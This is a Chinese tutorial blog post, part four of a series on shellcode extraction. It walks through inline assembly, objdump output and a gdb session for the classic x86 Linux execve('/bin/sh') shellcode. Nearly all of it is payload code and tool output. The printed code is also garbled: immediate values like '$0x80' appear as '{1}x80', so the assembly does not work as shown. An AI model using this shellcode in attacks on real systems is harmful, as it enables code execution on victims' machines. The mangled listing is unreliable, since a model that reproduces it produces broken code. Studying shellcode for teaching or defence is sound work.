进一步完善shellcode的提取(4)

 root@linux:~/pentest# cat shellcode_asm.c   #include <stdio.h>       int main(int argc, char **argv) {          __asm__       ("                \            jmp subroutine_call;    \       subroutine:            \           popl %esi;        \           movl %esi,0x8(%esi);    \           xorl %eax,%eax;        \           movl %eax,0xc(%esi);    \           movb %al,0x7(%esi);    \          movb {1}xb,%al;        \           movl %esi,%ebx;        \           leal 0x8(%esi),%ecx;    \           leal 0xc(%esi),%edx;    \           int {1}x80;        \           xorl %ebx,%ebx;        \           movl %ebx,%eax;        \           inc %eax;        \           int {1}x80;        \       subroutine_call:        \           call subroutine;   \           .string \"/bin/sh\";    \        ");          return 0;   }   root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c   root@linux:~/pentest# objdump -d shellcode_asm   08048394 <main>:    8048394:    55                       push   %ebp    8048395:    89 e5                    mov    %esp,%ebp    8048397:    eb 1f                    jmp    80483b8 <subroutine_call>      08048399 <subroutine>:    8048399:    5e                       pop    %esi    804839a:    89 76 08                 mov    %esi,0x8(%esi)    804839d:    31 c0                    xor    %eax,%eax    804839f:    89 46 0c                 mov    %eax,0xc(%esi)    80483a2:    88 46 07                 mov    %al,0x7(%esi)    80483a5:    b0 0b                    mov    {1}xb,%al    80483a7:    89 f3                   mov    %esi,%ebx    80483a9:    8d 4e 08                 lea    0x8(%esi),%ecx    80483ac:    8d 56 0c                 lea    0xc(%esi),%edx    80483af:    cd 80                    int    {1}x80    80483b1:    31 db                    xor    %ebx,%ebx    80483b3:    89 d8                    mov   %ebx,%eax    80483b5:    40                       inc    %eax    80483b6:    cd 80                    int    {1}x80      080483b8 <subroutine_call>:    80483b8:    e8 dc ff ff ff           call   8048399 <subroutine>    80483bd:    2f                       das        80483be:    62 69 6e                 bound  %ebp,0x6e(%ecx)    80483c1:   2f                       das        80483c2:    73 68                    jae    804842c <__libc_csu_init+0x5c>    80483c4:    00 b8 00 00 00 00        add    %bh,0x0(%eax)    80483ca:    5d                       pop    %ebp    80483cb:    c3                       ret        80483cc:   90                       nop    80483cd:    90                       nop    80483ce:    90                       nop    80483cf:    90                       nop   root@linux:~/pentest# gdb shellcode_asm   (gdb) b main   Breakpoint 1 at 0x8048397: file shellcode_asm.c, line 5.   (gdb) r   Starting program: /root/pentest/shellcode_asm       Breakpoint 1, main (argc=1, argv=0xbffff464) at shellcode_asm.c:5   5       __asm__   (gdb) disass main   Dump of assembler code for function main:      0x08048394 <+0>:    push   %ebp      0x08048395 <+1>:    mov    %esp,%ebp   => 0x08048397 <+3>:    jmp    0x80483b8 <subroutine_call>      0x08048399 <+5>:    pop    %esi      0x0804839a <+6>:    mov    %esi,0x8(%esi)      0x0804839d <+9>:    xor    %eax,%eax      0x0804839f <+11>:    mov    %eax,0xc(%esi)      0x080483a2 <+14>:    mov    %al,0x7(%esi)      0x080483a5 <+17>:    mov    {1}xb,%al      0x080483a7 <+19>:   mov    %esi,%ebx      0x080483a9 <+21>:    lea    0x8(%esi),%ecx      0x080483ac <+24>:    lea    0xc(%esi),%edx      0x080483af <+27>:    int    {1}x80      0x080483b1 <+29>:    xor    %ebx,%ebx      0x080483b3 <+31>:    mov    %ebx,%eax      0x080483b5 <+33>:    inc    %eax      0x080483b6 <+34>:    int    {1}x80      0x080483b8 <+0>:    call   0x8048399 <main+5>      0x080483bd <+5>:    das          0x080483be <+6>:    bound  %ebp,0x6e(%ecx)      0x080483c1 <+9>:    das          0x080483c2 <+10>:    jae    0x804842c      0x080483c4 <+12>:    add    %bh,0x0(%eax)      0x080483ca <+18>:    pop    %ebp      0x080483cb <+19>:    ret       End of assembler dump.   (gdb) x/s 0x080483bd   0x80483bd <subroutine_call+5>:     "/bin/sh"    

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwypyx.html